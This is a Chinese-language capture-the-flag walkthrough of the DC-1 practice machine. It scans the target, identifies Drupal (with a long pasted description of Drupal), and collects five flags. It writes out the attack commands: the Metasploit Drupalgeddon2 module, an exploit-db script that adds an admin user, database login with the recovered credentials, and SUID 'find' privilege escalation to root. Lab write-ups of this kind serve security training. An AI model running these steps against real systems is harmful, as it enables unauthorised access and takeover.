靶机下载链接
DC-1 是一个专门建造的易受攻击的实验室,旨在获得渗透测试领域的经验。
它旨在为初学者带来挑战,但它的简单程度取决于您的技能和知识以及您的学习能力。
要成功完成这一挑战,您将需要 Linux 技能、熟悉 Linux 命令行以及使用基本渗透测试工具的经验,例如可以在 Kali Linux 或 Parrot Security OS 上找到的工具。
有多种获得 root 的方法,但是,我已经包含了一些包含初学者线索的标志。
总共有五个标志,但最终目标是在 root 的主目录中找到并读取标志。您甚至不需要成为 root 即可执行此操作,但是,您将需要 root 权限。
根据您的技能水平,您可能可以跳过查找大多数这些标志并直接获取根。
初学者可能会遇到他们以前从未遇到过的挑战,但谷歌搜索应该是获取完成这一挑战所需信息的全部内容。
首先使用nmap对局域网进行扫描,可以根据经验判断目标主机为:192.168.1.129
可以发现目标主机开放了22/tcp、80/tcp、111/tcp三个端口。由此我们可以猜测出web服务的打开的,于是我们尝试网页访问试一试:
果然是可以访问的,我们接下来可以对该网站的目录进行爆破来收集更多的信息。
补充:这里其实我们也可以通过arp来扫描局域网主机
由上上图可以得出该网站是由Drupal建站,我们应该对drupal来进行一定的了解,收集相关信息:
Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成,在GPL2.0及更新协议下发布。连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。截止2011年底,共有13,802位WEB专家参加了Drupal的开发工作;228个国家使用181种语言的729,791位网站设计工作者使用Drupal。著名案例包括:联合国、美国白宫、美国商务部、纽约时报、华纳、迪斯尼、联邦快递、索尼、美国哈佛大学、Ubuntu等。
Drupal是一套开源系统,全球数以万计的WEB开发专家都在为Drupal技术社区贡献代码。因此,Drupal的代码在安全性、健壮性上具有世界最高水平。这也是美国白宫、美国商务部、法国政府、纽约时报、SONY等著名政府和机构纷纷采用Drupal建设网站的最重要的原因。
Drupal具有业内最强的定制能力和灵活性,这也是造成Drupal学习难度太大的根本原因,这也是没有办法的事情,灵活性的提高必然使复杂程度提高。因此,Drupal技术圈内有一句名言——“Drupal有难度,学习需谨慎。”
Drupal强大的定制开发能力,也使其成为众多有技术实力的网站建设公司优先选用的网站开发平台。全世界的WEB专家都在为Drupal贡献自己的智慧,这是某个公司内部技术团队永远也无法享受到的。
Drupal的架构由三大部分组成:内核、模块、主题。三者通过Hook机制紧密的联系起来。其中,内核部分由世界上多位著名的WEB开发专家组成的团队负责开发和维护。
既然drupal如此强大,那么说明找它漏洞的人也一定很多,只要改系统不是最新的系统,一般情况或多或少都会存在已知的漏洞,因此我们马上想到了我们的渗透神器——matesploit
打开msf后查找drupal漏洞模块
search drupal
然后选择模块进行利用:
use exploit/unix/webapp/drupal_drupalgeddon2
然后对相关配置进行配置
修改攻击机和目标机的ip及端口:
然后run一下便可获取meterpreter会话
获取会话后先搞个shell
于是在shell中发现了第一个flag
查看flag1如上图。
接下来我们查找www配置文件,一般查看配置文件都需要权限,此时通过python反弹一个终端获得普通用户权限:
python -c ‘import pty;pty.spawn("/bin/sh")’
然后进入/sites/default,查看settings.php文件
settings.php文件内容发现flag2:
成功找到flag2 :
蛮力攻击和字典攻击并不是获得访问权限的唯一方法(您将需要访问权限)。这些凭证可以用来做什么?
此处提示我们需要权限,有可能是想要我们得到root权限或者是说获得drupal网站的访问权限。
根据flag中的用户名和密码推测出是数据库用户名和密码:
首先进入shell后输入如下命令通过pty.spawn()获得交互式shell
python -c "import pty;pty.s
由此,我们可以连接数据库,并读取数据库内容:
mysql -udbuser -pR0ck3t
查看数据库
mysql>use drupaldb; #使用drupaldb数据库
mysql>show tables; #查看数据库内的表
select语句查询users表,找到可用于登录的用户admin和密码密文
在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号:
msf中输入:
searchsploit drupal
输入:
python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.1.129 -u admin3 -p admin3
用户创建成功,我们在数据库中查看admin3用户
于是使用admin3/admin3进行登录,登录成功!
在content下发现了flag3:
返回两级后再查看etc/passwd文件,发现flag4用户
然后再flag4的用户目录下发现flag4.txt
查看该文件:
根据提示我们要提权至root去找最后的flag了,使用find命令查找有特殊权限suid的命令:
find / -perm -4000
再使用find 命令进行提权:find /var/www/misc -exec "/bin/sh" \;
获取root 权限,然后在root目录下发现thefinalflag.txt
这个靶场相对而言是比较容易的,而且学到了大量的东西,主要理解还不够透彻的地方是find提权部分。继续加油!